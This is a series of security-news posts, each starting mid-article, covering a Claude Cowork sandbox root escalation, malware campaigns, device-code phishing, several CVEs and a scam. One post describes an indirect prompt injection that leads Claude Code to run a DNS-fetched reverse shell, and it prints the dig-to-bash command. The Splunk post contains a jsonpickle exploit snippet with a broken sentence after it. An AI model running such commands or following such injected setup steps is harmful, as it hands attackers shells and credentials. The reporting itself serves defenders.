Although the attack requires local code execution on the host system, the research demonstrates that several built-in security mechanisms can be bypassed, ultimately leading to full administrative control within the sandbox.

How Claude Cowork Protects Its Sandbox

Claude Cowork Sandbox is designed to help users build applications and automate tasks using Claude Code within an isolated environment.

On Windows, the platform runs workloads inside a Hyper-V-based Ubuntu virtual machine protected by several security layers, including:

• Hyper-V isolated Ubuntu VM
• Authenticode-based named pipe authentication
• Bubblewrap sandbox namespaces
• Per-session unprivileged Linux users
• Seccomp filtering
• Domain-restricted outbound network access

These protections are intended to isolate workloads and prevent unauthorized access to the underlying environment.

Researchers Found a Way Around the Protections

According to research published by Armadin, the attack targeted the CoworkVMService, a Local System service responsible for managing communication between Windows and the Ubuntu virtual machine.

The service uses a named pipe and validates that only applications digitally signed by Anthropic can communicate with it.

Researchers attempted to bypass the signature validation but found that the authentication checks correctly rejected forged signatures and invalid trust chains.

Instead, they identified another attack path.

DLL Sideloading Enabled Code Execution

Researchers discovered that claude.exe loads USERENV.dll from its application directory before loading the legitimate Windows system library.

By placing a malicious USERENV.dll alongside the application, they successfully performed DLL sideloading, allowing arbitrary code to execute inside the trusted Anthropic process.

Because the malicious code was running within the signed application, it successfully passed the service’s identity verification.

Root Access Achieved Through RPC Manipulation

After gaining code execution, researchers analyzed the application’s JSON-based RPC protocol used to communicate with the virtual machine.

The protocol exposed several methods, including:

• configure
• startVM
• isGuestConnected
• spawn

While most security controls continued to function correctly, researchers discovered that two parameters—isResume and allowedDomains—were forwarded directly to the sandbox daemon without sufficient validation.

By fuzzing the RPC interface, they reconstructed the parameter structure and identified a logic flaw.

Normally, setting isResume to false creates a new unprivileged Linux user.

However, when isResume was set to true, the existing user validation was skipped entirely.

This allowed researchers to specify any username, including root, and execute commands with root privileges inside the sandbox.

Security Impact

The vulnerability demonstrates that multiple security boundaries can be bypassed once an attacker gains local code execution.

Although Anthropic’s threat model assumes local access is already required, the research highlights how privilege escalation can occur even inside heavily sandboxed AI environments.

Successful exploitation could allow an attacker to:

• Execute commands as root inside the Linux sandbox.
• Bypass intended privilege restrictions.
• Gain unrestricted administrative access within the virtual machine.
• Circumvent multiple sandbox security controls.

The issue was successfully demonstrated against Claude Desktop for Windows version 1.9255.2.0.

As AI-powered development environments continue to evolve, this research serves as a reminder that sandbox implementations should be regularly reviewed to ensure privilege boundaries cannot be bypassed through chained vulnerabilities.

The post Claude Cowork Sandbox Flaw Allows Root Access appeared first on First Hackers News.

Instead of relying on traditional malware downloaders, the attackers combine trusted applications, DLL sideloading, reflective loading, and process hollowing to quietly install remote access malware while avoiding detection.

Fake Software Websites Used as Lures

The attackers created numerous fake download websites designed to imitate popular software applications.

Some of the impersonated software includes:

• OBS Studio
• DNS Jumper
• DS4Windows
• Bandicam
• Other widely used freeware applications

Many of these websites were translated into more than ten languages, allowing the campaign to target users across multiple regions.

Researchers also found that search engine optimization (SEO) techniques helped these malicious websites appear higher in search results, increasing the likelihood that users would download the infected installers.

How the Infection Works

Each downloaded archive contains a mix of legitimate and malicious files.

The package typically includes:

• A legitimate Microsoft-signed install.exe
• A malicious install.res.1033.dll
• An Assets folder containing the legitimate software
• A renamed ScreenConnect MSI installer disguised as a trusted file, such as vcredist_x64.dll

When the user launches the installer, the signed executable automatically loads the malicious DLL through DLL sideloading.

The DLL silently installs the ScreenConnect service and registers it under names that appear legitimate, such as Microsoft Update Service, before connecting the infected system to attacker-controlled servers.

Multiple Techniques Used to Evade Detection

Once ScreenConnect is installed, attackers execute PowerShell and VBScript commands to strengthen their foothold on the system.

The scripts perform several actions, including:

• Adding Microsoft Defender exclusions for entire drives and important processes.
• Disabling User Account Control (UAC) prompts.
• Dropping additional malware components into the C:\Users\Public directory.

The malware then decrypts an encrypted payload stored in secret_bytes.txt. A PowerShell script named cap.ps1 reconstructs the payload by decoding hexadecimal data, applying XOR decryption, and rebuilding the executable entirely in memory.

The recovered .NET assembly is loaded directly into memory using reflective loading, avoiding the need to write the malware to disk.

AsyncRAT Deployed Through Process Hollowing

To further reduce detection, the malware launches RegAsm.exe in a suspended state before replacing its memory with the AsyncRAT payload using process hollowing.

Running the malware inside a legitimate Windows process helps it blend in with normal system activity and bypass some security tools that rely on process reputation.

Persistence and Infrastructure

To maintain long-term access, the attackers create a scheduled task named MasterPackager.Updater.

The task runs every two minutes, allowing the malware to restart automatically after reboots or if its processes are terminated.

Kaspersky researchers also identified two major infrastructure clusters supporting the campaign.

The operation used:

• Multiple command-and-control (C2) servers
• Numerous spoofed domains
• Separate download servers for malware archives
• ScreenConnect configuration files pointing to attacker infrastructure

Based on domain registration data, researchers believe the campaign has been active since October 2025 and continued operating through March 2026, with several fake download websites still accessible online.

Security Recommendations

Because this campaign abuses trusted software and legitimate administrative tools, organizations should strengthen their defenses against both malware and software supply chain attacks.

Security teams should consider the following measures:

• Download software only from official vendor websites.
• Block MSI installers from untrusted locations.
• Monitor for newly created Windows services and scheduled tasks.
• Detect unusual DLL sideloading activity.
• Watch for suspicious use of PowerShell, VBScript, and signed Windows binaries.
• Monitor outbound connections to unknown remote management servers.
• Keep endpoint protection enabled and regularly updated.
• Educate users to verify download sources before installing software.

This campaign demonstrates how attackers continue to blend legitimate administration tools with advanced malware techniques. By combining trusted software, stealthy execution methods, and fake software distribution sites, threat actors can significantly increase the chances of compromising both individual users and enterprise environments.

IOCs

The post Fake Installers Spread AsyncRAT Using ScreenConnect appeared first on First Hackers News.

The findings were shared by The Shadowserver Foundation, which recently enhanced its scanning capabilities through domain-based fingerprinting in collaboration with Validin. Although the scan did not verify whether every exposed system is vulnerable, it highlights a large number of publicly accessible Oracle EBS deployments that could become potential targets.

Active Exploitation Detected

Researchers at DefusedCyber have observed active exploitation attempts targeting CVE-2026-46817, indicating that threat actors are already scanning for vulnerable Oracle E-Business Suite servers.

The vulnerability was addressed in Oracle’s May 2026 Critical Patch Update (CPU). While Oracle has released limited technical details, the flaw is considered serious because Oracle EBS often manages sensitive business information, including financial, HR, and operational data.

Compromising these systems could allow attackers to gain unauthorized access, steal sensitive information, or move laterally across enterprise networks.

Exposure and Security Recommendations

Shadowserver’s public dashboard provides visibility into exposed Oracle EBS systems worldwide, while its Device ID reporting service helps organizations identify internet-facing Oracle E-Business Suite instances within their environments.

To reduce the risk of compromise, organizations should:

• Apply Oracle’s latest security patches immediately.
• Restrict public access to Oracle EBS servers.
• Enable strong authentication and access controls.
• Monitor logs for suspicious activity.
• Deploy Web Application Firewall (WAF) protections.
• Segment Oracle EBS servers from critical internal networks.

With hundreds of Oracle E-Business Suite instances exposed and attackers actively exploiting CVE-2026-46817, organizations should prioritize patching and review externally accessible systems before they become targets of compromise.

The post Attackers Target Oracle E-Business Suite Flaw appeared first on First Hackers News.

The platform provides cybercriminals with an advanced web-based dashboard that simplifies Microsoft 365 account compromise. It supports device code phishing, Primary Refresh Token (PRT) persistence, mailbox takeover, Business Email Compromise (BEC), and SharePoint data theft through an easy-to-use interface.

Researchers found that ARToken contains more than 80 API endpoints, giving attackers a wide range of tools to manage phishing campaigns and compromised accounts.

What Makes ARToken Dangerous?

ARToken offers a complete post-compromise toolkit that allows attackers to maintain access to Microsoft 365 accounts even after credentials have been changed.

Some of its key capabilities include:

• Device code phishing attacks
• Primary Refresh Token (PRT) setup and renewal
• Token import and export
• Mailbox takeover
• Business Email Compromise (BEC) operations
• SharePoint and OneDrive file access
• Cloudflare Workers integration for phishing pages
• Automated inbox rule creation
• Mass BCC email campaigns

Researchers discovered these features after analyzing the platform’s 1.7 MB React JavaScript bundle, which exposed the application’s client-side logic and API endpoints without requiring authentication.

Similarities to EvilTokens

Cisco Talos found multiple technical similarities between ARToken and the EvilTokens platform.

Both platforms:

• Use Microsoft device code authentication phishing.
• Return similar device authentication parameters such as device_code, user_code, verification_uri, and expires_in.
• Support the clientMode: “broker” parameter, which uses Microsoft’s Windows Authentication Manager (WAM) to obtain Primary Refresh Tokens (PRTs).
• Follow similar deployment methods using Cloudflare Workers.
• Operate as multi-tenant phishing-as-a-service platforms with subscription-based access and affiliate dashboards.

These similarities strongly suggest that ARToken is built on, or heavily inspired by, the EvilTokens infrastructure.

Advanced Anti-Analysis Techniques

ARToken also includes several techniques designed to prevent automated analysis and security research.

These include:

• User-Agent verification
• Detection of browser automation tools
• Browser feature fingerprinting
• Screen size and window validation
• Mouse and touch interaction checks
• Runtime payload decryption using XOR encryption

These protections make the platform more difficult for automated security tools and sandboxes to analyze.

How the Phishing Campaign Works

Researchers observed phishing emails impersonating a legitimate contractor to target accounts payable employees.

The emails contained SharePoint links that appeared legitimate but redirected victims to attacker-controlled Microsoft 365 environments.

Other characteristics of the campaign included:

• Cloudflare Workers hosting phishing pages
• Reply-chain hijacking techniques
• Unique email variations to bypass detection
• Failed SPF, DKIM, and DMARC authentication
• Victims directed to microsoft.com/devicelogin and instructed to enter a device code supplied by the attacker

Once the device code is entered, attackers obtain access tokens without requiring the victim’s password.

Additional Post-Compromise Features

Beyond stealing tokens, ARToken provides attackers with several tools to manage compromised accounts.

These include:

• Continuous mailbox monitoring
• Automated inbox rule creation
• Bulk token import and export
• Shared token management with role-based permissions
• Dynamic phishing lure customization
• SharePoint site management
• Cloudflare Workers deployment directly from the dashboard

These features allow attackers to maintain long-term access and streamline Business Email Compromise operations.

Security Recommendations

Organizations using Microsoft 365 should take immediate steps to reduce the risk of device code phishing attacks.

Recommended security measures include:

• Monitor for unusual device registration activity.
• Audit Primary Refresh Token (PRT) creation and renewal.
• Revoke active sessions if compromise is suspected.
• Enforce Conditional Access policies.
• Monitor mailbox rule creation and suspicious email forwarding.
• Be cautious of unexpected SharePoint links, even if they appear legitimate.
• Train users to recognize device code phishing attempts.

Because Primary Refresh Tokens (PRTs) can remain valid even after a password change, organizations should immediately revoke active sessions and tokens whenever a compromise is detected to prevent attackers from maintaining persistent access.

The post New ARToken Panel Targets Microsoft 365 Tokens appeared first on First Hackers News.

The vulnerability affects environments where OpenID Connect (OIDC) authentication is enabled. Due to improper verification of cryptographic signatures, attackers can bypass authentication and gain unauthorized access to affected systems.

How the Vulnerability Works

According to CISA, the issue occurs because SimpleHelp does not properly validate identity tokens during the OIDC authentication process. As a result, a remote attacker can create forged identity tokens and have them accepted as legitimate.

This allows attackers to impersonate authorized users without valid credentials and gain technician-level access to the application. In some environments, the vulnerability may also allow attackers to bypass multi-factor authentication (MFA), significantly increasing the risk of unauthorized access.

Because SimpleHelp is widely used for remote IT support, successful exploitation could provide attackers with direct access to managed devices, creating opportunities for privilege escalation and lateral movement across enterprise networks.

Immediate Action Required

CISA has instructed federal agencies to remediate the vulnerability under Binding Operational Directive (BOD) 26-04, with a deadline of July 2, 2026. The agency also recommends that organizations follow vendor guidance, prioritize patching internet-facing systems, and review affected environments for signs of compromise.

If patches cannot be applied immediately, organizations should consider temporarily removing vulnerable SimpleHelp servers from public access until security updates are in place.

Although CISA has not linked the vulnerability to ransomware attacks, its inclusion in the KEV catalog confirms that threat actors are actively exploiting the flaw. Organizations using SimpleHelp should treat this issue as a high priority and apply the latest security updates as soon as possible to reduce the risk of unauthorized access.

The post CISA Flags SimpleHelp Flaw as Actively Exploited appeared first on First Hackers News.

The attack is delivered through unsigned installers written in both .NET and Golang. Instead of installing the extension through an official browser store, the malware directly modifies Chromium browser files to install the extension and maintain persistence.

How the Attack Works

Once executed, the installer searches for Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, and other compatible browsers. It terminates running browser processes and modifies the Preferences and Secure Preferences files to register the malicious extension.

Researchers found that the malware recalculates browser integrity values, allowing the extension to bypass certain security checks on older Chromium versions. On newer versions, the attackers rely on social engineering or developer mode to enable the extension. After installation, the installer removes itself, leaving very few traces on the infected system.

Unlike traditional malware that connects to a hardcoded command-and-control server, the extension uses an EtherHiding technique. It queries a public blockchain RPC endpoint and retrieves an encoded value from a smart contract, which is decoded at runtime to obtain the active backend server. This approach allows attackers to change their infrastructure without updating the malware itself, making detection and takedown more difficult.

Wallet Address Replacement and Detection

The extension requests broad permissions, including access to websites, browsing history, and clipboard data. It continuously monitors copy-and-paste activity and uses cryptocurrency-specific patterns to identify wallet addresses for multiple blockchains, including:

• Bitcoin (BTC)
• Ethereum (ETH)
• Bitcoin Cash (BCH)
• Ripple (XRP)
• Dash (DASH)
• Solana (SOL)

When a wallet address is copied, the extension sends it to the attacker’s backend using an embedded API key. The server responds with an attacker-controlled wallet address, which immediately replaces the original address in the clipboard. If the victim pastes the address without verifying it, the cryptocurrency is transferred directly to the attacker’s wallet.

Researchers also found that the installer contains embedded configuration data, including API keys, extension settings, supported wallet types, and blockchain RPC endpoints. The malicious extension is downloaded separately during installation, allowing attackers to update components without modifying the installer.

The campaign has affected users across multiple regions, with researchers observing a notable concentration of infections in India, suggesting opportunistic targeting of cryptocurrency users rather than a region-specific operation.

To reduce the risk of compromise, users should install browser extensions only from official stores, avoid running unsigned installers, carefully review requested permissions, and always verify the first and last few characters of a cryptocurrency wallet address before completing a transaction.

Security teams should also monitor for unauthorized changes to Chromium Secure Preferences files, unexpected browser configuration modifications, and unusual blockchain RPC traffic associated with EtherHiding infrastructure.

IOCs

The post Malicious Extension Swaps Crypto Wallet Addresses appeared first on First Hackers News.

The research, published on June 25, 2026, focuses on indirect prompt injection, a technique in which malicious instructions are hidden within external content processed by an AI assistant rather than being entered directly by the user.

If exploited successfully, the attack can provide threat actors with an interactive shell running under the developer’s user account. This level of access could expose sensitive information, including ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, and other credentials stored on the system.

According to the OWASP Top 10 for LLM Applications, prompt injection is considered one of the most critical security risks affecting AI-powered applications. This proof of concept demonstrates that the technique can extend beyond manipulating chatbot responses and potentially lead to complete system compromise.

How the Attack Works

The attack relies on several components that appear completely legitimate when viewed individually, making the overall technique difficult to detect.

The first stage uses a GitHub repository that looks like a normal open-source project. In the demonstration, researchers created a fictional cloud deployment tool called Axiom, complete with a professional README and standard installation instructions. Nothing within the repository appears malicious, allowing it to pass a manual inspection without raising suspicion.

Next, the supplied Python package is intentionally designed to fail during its initial execution. Instead of performing its expected task, it generates a standard runtime error instructing the user to initialize the application by running python3 -m axiom init. Since this behavior is common among legitimate software packages, AI coding assistants interpret the message as a routine setup step rather than suspicious activity.

Payload Retrieved Through DNS

The final stage begins when the initialization command is executed. Rather than containing the malicious payload locally, the setup script retrieves additional instructions from an attacker-controlled DNS TXT record and pipes the returned content directly to the system shell.

The following command demonstrates how the setup script retrieves and executes the external payload:

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

The DNS TXT record stores a Base64-encoded reverse shell payload, shown below:

“echo YmFzaCAtaSA+JiAvZGV2L3RjcC8…== | base64 -d | bash”

The payload decodes into a reverse shell that is retrieved and executed at runtime. Because it is delivered through a DNS TXT record, the malicious code is not stored in the GitHub repository, making it difficult for static code scanners, human reviewers, and even AI coding assistants to detect.

When a developer asks Claude Code to run the project, the AI agent automatically:

• Installs the required dependencies.
• Attempts to start the application.
• Encounters the initialization error and runs the recommended setup command.
• Retrieves the payload from the attacker’s DNS server and executes it.
• Opens a reverse shell to the attacker’s system.

Throughout the process, the developer sees only normal setup messages, with no obvious indication that the system has been compromised.

Initialising Axiom platform...
Environment ready

Claude Code does not intentionally execute malicious code. Instead, it follows what appears to be a legitimate setup process, ultimately running the attacker’s payload without recognizing it as harmful.

Once the reverse shell is established, attackers can:

• Gain an interactive shell with the developer’s user privileges.
• Access API keys, cloud credentials, Git tokens, and other sensitive data.
• Establish persistence by installing SSH keys, cron jobs, or backdoors.
• Update the malicious payload at any time through the DNS record without modifying the GitHub repository.

Researchers noted that this technique is not limited to Claude Code. Other AI-powered coding assistants that automatically follow setup instructions, including Cursor and Gemini CLI, could also be vulnerable to similar attacks.

The attack works by separating its components across multiple systems, making it difficult for security tools to identify the complete attack chain. Researchers also pointed out that a similar off-repository payload delivery technique was observed in CVE-2025-55284, where prompt injection was used to exfiltrate API keys through DNS.

The findings demonstrate that indirect prompt injection is no longer a theoretical AI security concern. Recent research and real-world attacks show that threat actors are actively weaponizing this technique to target AI-assisted development environments.

The post Hackers Exploit Claude Code to Take Over Systems appeared first on First Hackers News.

Instead of exchanging phone numbers, users will be able to share a unique username when starting new conversations. This feature is especially useful when joining community groups, networking at events, or interacting with people for the first time.

The rollout is being introduced in phases, with users able to reserve their preferred usernames before the feature becomes widely available.

How the Username Feature Works

Once the feature is enabled, new contacts will only see a user’s username instead of their phone number. Existing chats and contacts will continue to function normally, and users who prefer sharing phone numbers can continue using WhatsApp as they always have.

To prevent impersonation and abuse, WhatsApp has introduced several rules for creating usernames:

• Usernames must be 3–35 characters long.
• Only lowercase letters, numbers, periods, and underscores are allowed.
• Every username must include at least one letter.
• Usernames that resemble website domains, such as .com or .in, are not permitted.
• Each username must be unique, and users can choose to match their existing Instagram or Facebook handle for consistent branding.

WhatsApp has also added an optional username key, a four-digit PIN-like code that provides an additional layer of privacy. New contacts must enter this code before they can send a message, helping reduce spam and unwanted conversations. Existing contacts are not affected by this requirement.

Improved Privacy and User Protection

Unlike many social media platforms, WhatsApp usernames are not searchable through a public directory. Users cannot browse or discover other usernames unless they already know the exact handle, significantly reducing unsolicited messages and unwanted contact.

The feature is available across Android, iOS, Windows, and WhatsApp Web as the rollout expands globally. Users can reserve a username by navigating to Settings → Account → Username on the latest version of the app. WhatsApp also provides username suggestions if a preferred handle has already been taken.

The new system is particularly beneficial for creators, businesses, and organizations, allowing them to use the same username across WhatsApp, Instagram, and Facebook for a consistent online identity.

By moving from phone number-based communication to username-based messaging, WhatsApp is strengthening user privacy while reducing unnecessary exposure of personal contact information. The update also brings the platform closer to privacy-focused messaging services that have long supported handle-based communication.

The post WhatsApp Introduces Usernames for Private Messaging appeared first on First Hackers News.

According to security researchers, the vulnerability is caused by unsafe deserialization of user-controlled data, allowing specially crafted input to be executed on the server.

How the Vulnerability Works

The issue exists in the way Splunk Secure Gateway processes alert data stored in its KV Store. A low-privileged authenticated user can submit a specially crafted JSON payload through the Splunk REST API.

Due to weaknesses in the application’s validation process, the malicious data is accepted as legitimate and passed to the deserialization component. This enables attackers to execute arbitrary Python code with the privileges of the Splunk service account.

Researchers found that the validation logic fails to inspect all fields within the submitted JSON document. As a result, attackers can bypass security checks by embedding malicious content inside otherwise valid data structures.

A successful attack requires only a valid low-privileged Splunk account and does not rely on user interaction, making the vulnerability particularly dangerous in shared enterprise environments.

Below is a simplified proof-of-concept (PoC) demonstrating how the vulnerability can be exploited using a benign command:

import jsonpickle

import subprocess

payload = {     

“py/object”: “spacebridgeapp.data.alert_data.Alert”,

    “notification”:         

“py/reduce”:

[             

{“py/function”: “subprocess.check_output”},             

{“py/tuple”: [[“uname”, “-a”]]}         

]     

}

}

encoded = jsonpickle.encode(payload)

decoded = jsonpickle.decode(encoded, safe=True)

print(decoded)

subprocess.check_output(["uname", "-a"]) command during data deserialization. This confirms that enabling the safe=True option in jsonpickle does not fully prevent exploitation.

The flaw affects Splunk Secure Gateway versions 3.8.x, 3.9.x, and 3.10.x, along with Splunk Enterprise versions released before 10.0.7, 10.2.4, and 10.4.0. Splunk has fixed the issue in Secure Gateway versions 3.8.67, 3.9.20, and 3.10.6.

Security Recommendations

To reduce the risk of exploitation, organizations should:

• Apply the latest Splunk Secure Gateway security patches immediately.
• Upgrade to the fixed versions: SSG 3.8.67, 3.9.20, or 3.10.6, and supported Splunk Enterprise releases.
• Disable the Secure Gateway app if it is not actively being used.
• Restrict KV Store write permissions to trusted administrators only.
• Enforce the principle of least privilege by limiting access to authorized users.
• Avoid deserializing untrusted data with jsonpickle or similar libraries without proper validation.
• Implement input validation and class allow-listing to prevent unsafe deserialization.
• Monitor Splunk logs for unusual activity or unauthorized changes to the KV Store.

Following these best practices can help organizations reduce the risk of remote code execution and strengthen the overall security of their Splunk environment.

The post Splunk Secure Gateway RCE Vulnerability Discovered appeared first on First Hackers News.

The fake invoices often impersonate well-known brands such as Norton, McAfee, Apple, and PayPal, creating a false sense of urgency by claiming that expensive products or subscriptions have been purchased.

How the Scam Works

The Shop app automatically collects order information from connected email accounts and Shop Pay transactions, allowing users to view all their purchases in one place. Attackers appear to be exploiting this functionality or related merchant processes to insert fake orders into users’ purchase history.

These fraudulent orders typically display costly items, including antivirus subscriptions, smartphones, or gift cards. The invoices also include fake customer support phone numbers hidden within product descriptions, shipping details, or order notes.

When victims call the number, they are connected to scammers posing as customer support representatives. The attackers then attempt to steal sensitive information such as login credentials, payment card details, one-time passwords, or convince victims to install remote access software.

Researchers emphasized that there is currently no evidence that Shopify or the Shop app has been breached. Instead, the campaign appears to abuse legitimate platform features to distribute fraudulent content.

How to Stay Safe

Users should always verify unexpected purchase notifications before taking any action. If an invoice appears suspicious, check your bank account or the official service provider directly instead of calling phone numbers listed in the receipt.

To reduce the risk of becoming a victim:

• Verify purchases through official websites or banking apps.
• Never call support numbers included in unexpected invoices.
• Report suspicious orders through the Shop app or Shopify’s abuse channels.
• Avoid installing software at the request of unknown callers.

This campaign demonstrates how cybercriminals are increasingly exploiting trusted platforms instead of relying solely on phishing emails. As users become more cautious of email scams, attackers are shifting their focus to legitimate applications where fraudulent content is less likely to raise suspicion.

The post Fake Shopify Invoices Steal User Credentials appeared first on First Hackers News.